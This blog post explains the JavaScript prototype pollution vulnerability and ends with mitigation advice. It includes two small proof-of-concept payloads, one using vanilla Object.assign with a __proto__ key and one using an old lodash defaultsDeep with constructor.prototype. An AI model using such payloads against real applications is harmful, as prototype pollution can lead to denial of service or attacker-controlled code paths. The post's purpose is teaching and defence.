Prototype Pollution

Written by Ulises Gascón

Apr 08, 20202 min read

The Attack

It's a technical attack that requires a great understanding of JS internals like __proto__, prototype, deep|shadow copy.

This bug was extended in popular libraries like Lodash.

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. (...) When that happens, it leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path the attacker injects, thereby leading to remote code execution

This is a raw pollution in vanilla js

const a = {"a": 1, "b": 2}
const data = JSON.parse('{"__proto__": { "polluted": true}}')
 
const c = Object.assign({}, a, data)
console.log(c.polluted) // true 

This was a vulnerability in [email protected]

// npm install [email protected]
// https://cdnjs.cloudflare.com/ajax/libs/lodash.js/4.17.0/lodash.min.js
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"polluted": true}}}'
 
mergeFn({}, JSON.parse(payload));
 
const newObject = {}
console.log(newObject.polluted) //true

The solution

There are no definitive solutions to avoid this attack but it can be highly mitigated.

Mitigation

  • If you can use Map over Object
  • Avoid insecure recursive merges
  • Use objects without prototype for recursive merges, like Object.create(null)
  • Try to implement JSON Schema validations
  • As an extra mile you can freeze the prototype, but this can be a potential bad practice: Object.freeze(Object.prototype)

Refs